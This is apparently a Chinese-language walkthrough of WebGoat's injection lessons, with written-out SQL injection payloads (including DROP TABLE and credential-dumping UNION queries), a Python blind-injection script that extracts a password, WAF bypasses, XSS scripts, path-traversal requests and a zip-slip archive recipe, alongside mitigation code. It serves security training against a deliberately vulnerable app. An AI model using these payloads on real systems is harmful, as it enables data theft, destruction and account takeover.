WebGoat全通关:A3-Injection

SQL Injection (intro) #

SQL 是下面三个概念的实现:

  1. Data Manipulation Language, DML
  2. Data Definition Lanaguage, DDL
  3. Data Control Language, DCL

DML 是最主要的部分,即增删改查

SQL 的实现为 INSERT, DELETE, UPDATE, SELECT

INSERT/UPDATE 体现完整性 (Integrity)

SELECT 体现机密性 (Confidentiality)

UPDATE/DELETE 体现可用性 (Availability)

UPDATE employees SET department='Sales' WHERE first_name = 'Tobi';

DDL 定义数据格式和数据库的结构 (schema)

SQL 的实现为 CREATE (TABLE), DROP (TABLE), ALTER (TABLE)

ALTER TABLE employees ADD COLUMN phone varchar(20);

DCL 负责实现用户访问控制的功能

SQL 的实现为 GRANT, REVOKE

GRANT ALL ON grant_rights TO unauthorized_user;

实验使用的几个 payload

  • 123' or 1=1--aa
  • 123';UPDATE employees SET salary=100000 WHERE userid=37648--aa
  • 123';DROP TABLE access_log--aa

SQL Injection (advanced) #

实验一:联表查询 #

CREATE TABLE user_data (userid int not null,
                        first_name varchar(20),
                        last_name varchar(20),
                        cc_number varchar(30),
                        cc_type varchar(10),
                        cookie varchar(20),
                        login_count int);
CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));

实验提供了一个以 last_name 查询表一的接口,需要通过该接口的 SQL 注入漏洞查询到表二

答案:

'UNION SELECT userid,user_name,password,cookie,null,null,null FROM user_system_data--aa

唯一需要注意的是 UNION SELECT 的列数要相同

在实战中一般列数是未知的,需要攻击者自己尝试

实验二:盲注 #

给了一个登录框,要求以 Tom 登录

尝试了一下 LOGIN 接口没什么问题,但 REGISTER 的 username_reg 有注入

重放多次正常的请求可以发现:

推测这里的逻辑是这样:先用 SELECT 查询用户是否存在,再用 INSERT 插入用户数据

那么可以根据是否返回 exists 进行基于错误的注入

目标是登陆用户 tom,那么就查询 tom 的密码

有两个地方需要猜解,比较坑:名字是 ’tom’ 而不是 ‘Tom’、密码的字段是 password

首先查询长度

tom' AND LENGTH(password)<%d--aa

得到长度之后再按字符查询

tom' AND SUBSTRING(password,%d,1)<char(%d)--aa

配合二分法

#!/usr/bin/env python3

import requests
import urllib.parse

url="http://localhost:8080//WebGoat/SqlInjectionAdvanced/register"
session="91262C6E11BE0951CF2F4016521318AE"

def check(q:str):
    c={
            "JSESSIONID":session,
        }
    p = {
            "username_reg":"tom' AND "+q+"--",
            "email_reg":"test@test.com",
            "password_reg":"test",
            "confirm_password_reg":"test",
        }
    r=requests.put(url,params=p,cookies=c)
    #print(r.text)
    if "Something" in r.text:
        raise ValueError(f"Bad query {q}")
    return "exists" in r.text

def get_length():
    query=r"LENGTH(password)<%d"
    low=10
    high=50
    while low+1<high:
        mid=(low+high)//2
        if check(query%mid):
            high=mid
        else:
            low=mid
    print("get_length() says %d"%low)
    return low

def get_char_at(index):
    query=fr"SUBSTRING(password,{index},1)<char(%d)--"
    low=33
    high=127
    while low+1<high:
        mid=(low+high)//2
        if check(query%mid):
            high=mid
        else:
            low=mid
    print("get_char_at() says %s"%chr(low))
    return chr(low)

def main():
    length=get_length()
    data=''.join(get_char_at(i+1) for i in range(length))
    print(data)

if __name__=="__main__":
    main()

thisisasecretfortomonly

SQL Injection (mitigation) #

防御 SQL 注入的根本:隔离代码和数据

如何写 prepared statements:

和普通的查询相同,只是把查询参数替换成通配符 ?

然后再调用 set 接口填充

最后执行即可

实验一:写一个参数化查询的框架代码 (JDBC) #

try (Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW)) {
    PreparedStatement statement = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
    statement.setString(1, "tom");
    ResultSet results = statement.executeQuery();
    if (results != null && results.first()) {
        // okay
    } else {
        // failure
    }
} catch (Exception e) {
    e.printStackTrace();
}

实验二和三:绕过 WAF #

环境和上一节的实验一相同,但需要绕过一个未知的 WAF

PS: 这两个实验似乎正在开发中,直接交互会返回 404,需要参照源码的 Controller 格式发请求

使用上一节实验一的 PoC 会报错

'UNION SELECT userid,user_name,password,cookie,null,null,null FROM user_system_data--aa

答案是直接用注释绕过空格

'UNION/**/SELECT/**/userid,user_name,password,cookie,null,null,null/**/FROM/**/user_system_data--aa

对于实验三,用一样的 PoC 报错为:

显然这里是过滤了 SELECTFROM

'UNION/**/SELSELECTECT/**/userid,user_name,password,cookie,null,null,null/**/FRFROMOM/**/user_system_data--aa

实验四:ORDER BY 绕过参数化查询 #

有一些业务中需要根据用户的输入排序,例如表格按照某列排序

这种情况是不适用于参数化查询的,因为列名并不是一个 SQL 值

举例:ORDER BY first_name 而不是 ORDER BY 'first_name'

一般而言会使用 String.format 或者直接拼接

connection.prepareStatement("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by " + column);

ORDER BY 有一个语法,后面不光可以接列名,还可以接 SELECT 表达式

ORDER BY (CASE WHEN (TRUE) THEN first_name ELSE last_name END

可以将 TRUE 换成需要的数据库查询 (bool-based)

这个实验需要查询名为 webgoat-prd 的隐藏服务器的 IP 的第一个 8 比特

先判断长度为 1 还是 2 还是 3

CASE WHEN (substring((SELECT ip from SERVERS where hostname='webgoat-prd'),4,1)='.') THEN id ELSE ip END

然后利用二分法 (0~255) 判断它的值

CASE WHEN (substring((SELECT ip from SERVERS where hostname='webgoat-prd'),4,1)<128) THEN id ELSE ip END

记得 URL 编码

104.130.219.202

Cross-Site Scripting (XSS) #

跨站脚本常见位置:

  • 返回搜索字串的搜索框
  • echo 输入的输入框
  • 返回用户输入的报错块
  • 含有用户输入的隐藏块
  • 含有用户输入的另一个页面(类似二次注入)
  • 消息板块
  • 论坛评论
  • HTTP 头

本质是创建一个冒充受害者机器的请求 masquerade

  • Reflected
  • DOM-based (also technically reflected)
  • Stored or persistent

实验一:反射型 #

field1 有反射型 XSS

field2 被过滤了

GET /WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=%3Cscript%3Ealert(1)%3C%2Fscript%3E&field2=111

实验二:DOM 型 #

DOM 型就是一种特殊的反射型

为了审计 DOM 型漏洞,最好的办法就是审计路由,查看哪个路由会将输入传送回浏览器,尤其是可能会存在某些生产环境中没有去除的 test 路由

本实验就需要找到一个这样的路由

WebGoat 使用了 backbone.js 做动态前端更新

可以在浏览器控制台查看 js 路由源码

可以在上面看到路由是 test/:param

lesson 的请求形如 start.mvc#lesson/CrossSiteScripting.lesson/9

所以 test 的请求形如 start.mvc#test

这个路由的任务很简单,就是直接展示路径中的内容,显然这里有 XSS

GET /WebGoat/start.mvc#test/%3Cscript%3Ewebgoat.customjs.phoneHome()

在浏览器控制台看到答案 -648753841

Cross-Site Scripting (stored) #

存储型 XSS 最致命的一点是它的持久化特性,因为每次请求中脚本都被包含在 View 中返回

这个实验演示了存储型 XSS 被评论注入进数据库的情况

过关答案:

<script>webgoat.customjs.phoneHome()</script>

刷新页面打开后台可以看到下面的输出

{"lessonCompleted":true,"feedback":"Congratulations. You have successfully completed the assignment.","feedbackArgs":null,"output":"phoneHome Response is -959619984","outputArgs":null,"assignment":"DOMCrossSiteScripting","attemptWasMade":true}

输入 phoneHome Response is 后面的数字即可通关

Cross-Site Scripting (mitigation) #

尝试过滤 <script> 等元素并不是一个很好的解决方案

那样只会陷入无穷无尽的攻防

防御 XSS 的本质在于对低可信数据进行编解码

不光用户的输入为低可信

数据库中读取的数据同样应当看作低可信

HTML 编码举例

Char Escape string
< <
> >
" "
' '
& &
/ /

HTML 编码都是预定义的 XML 实体!(HTML 可以看作由 HTML DOCTYPE 约束的 XML 方言)

实验一:防御反射型 #

使用 OWASP Java Encoder 对参数进行 HTML 编码即可

要首先使用 JSTL 语法注册标签,再利用 JSP Expression Language 调用 Java Encoder API

具体使用方法直接看 OWASP Java Encoder 手册

<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<html>
<head>
    <title>Using GET and POST Method to Read Form Data</title>
</head>
<body>
    <h1>Using POST Method to Read Form Data</h1>
    <table>
        <tbody>
            <tr>
                <td><b>First Name:</b></td>
                <td>${e:forHtml(param.first_name)}</td>
            </tr>
            <tr>
                <td><b>Last Name:</b></td>
                <td>${e:forHtml(param.last_name)}</td>
            </tr>
        </tbody>
    </table>
</body>
</html>

实验二:防御存储型 #

要求使用 OWASP AntiSamy 库和 antisamy-slashdot.xml 规则文件

AntiSamy 是一个根据规则文件净化输入的库,使用方式也很简单:

import org.owasp.validator.html.*;
import MyCommentDAO;

public class AntiSamyController {
    public void saveNewComment(int threadID, int userID, String newComment){
        AntiSamy as = new AntiSamy();
        CleanResults cr = as.scan(newComment, "antisamy-slashdot.xml");
        MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML());
    }
}

Path Traversal #

实验一:上传到非默认地址 #

随便上传一个东西

观察上传的路径,发现它并不是随机命名然后插入数据库而是直接以用户名命名

将用户名改为 ../test 即可

实验二:过滤了 ../ #

使用 ....// 来绕过

实验三:不再使用用户名作为文件名 #

直接修改 filename="../test.png" 即可

实验四:找到隐藏的叫做 path-traversal-secret.jpg 的图片 #

先正常请求,提示请求参数是 id

id=1.jpg

HTTP/1.1 404 
Location: /PathTraversal/random-picture?id=1.jpg.jpg
Content-Type: text/html
Content-Length: 550
Date: Thu, 17 Apr 2025 16:02:22 GMT
Connection: close

/home/webgoat/.webgoat-2025.3/PathTraversal/cats/10.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/2.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/9.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/3.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/7.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/6.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/1.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/4.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/5.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/8.jpg

发现后端会拼接 .jpg 并且有可能泄漏目录内容

id=../1.jpg

提示 Illegal characters,那么用编码绕过

id=%2e%2e%2f1.jpg

/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../test,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../red_boy.png,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../test.png,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../webgoat,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../cats

再泄漏一层

id=%2e%2e%2f%2e%2e%2f1.jpg

/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../XXE,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.tmp,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../PathTraversal,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.lck,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.script,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.log,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../webgoat.properties,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../path-traversal-secret.jpg,/home/webgoat/.webgoat-2025.3/PathTraversal/cats/../../ClientSideFiltering

实验五:Zip 逃逸 #

Zip 的结构是一条一条的条目,可以把它理解为键 - 值对,键为文件路径,值为文件内容

但是键是可以有上级路径的比如 ../

如果服务端未对路径做检查且解压攻击者上传的文件,文件系统中的其他文件有被复写的可能

这一关的目标是复写文件 /home/webgoat/.webgoat-2025.3/PathTraversal/webgoat/webgoat.jpg

做法是在本地复刻一个类似的文件结构,然后 zip 压缩

mkdir -p ./home/webgoat/.webgoat-2025.3/PathTraversal/webgoat/
cd ./home/webgoat/.webgoat-2025.3/PathTraversal/webgoat/
touch webgoat.jpg
zip test.zip ../../../../../home/webgoat/.webgoat-2025.3/PathTraversal/webgoat/webgoat.jpg

上传即可

这里可能会有点 tricky:运行目录可能比需要覆写的目录更深,有时 ../ 的数量不够,这就需要本地创建目录时再多创建几层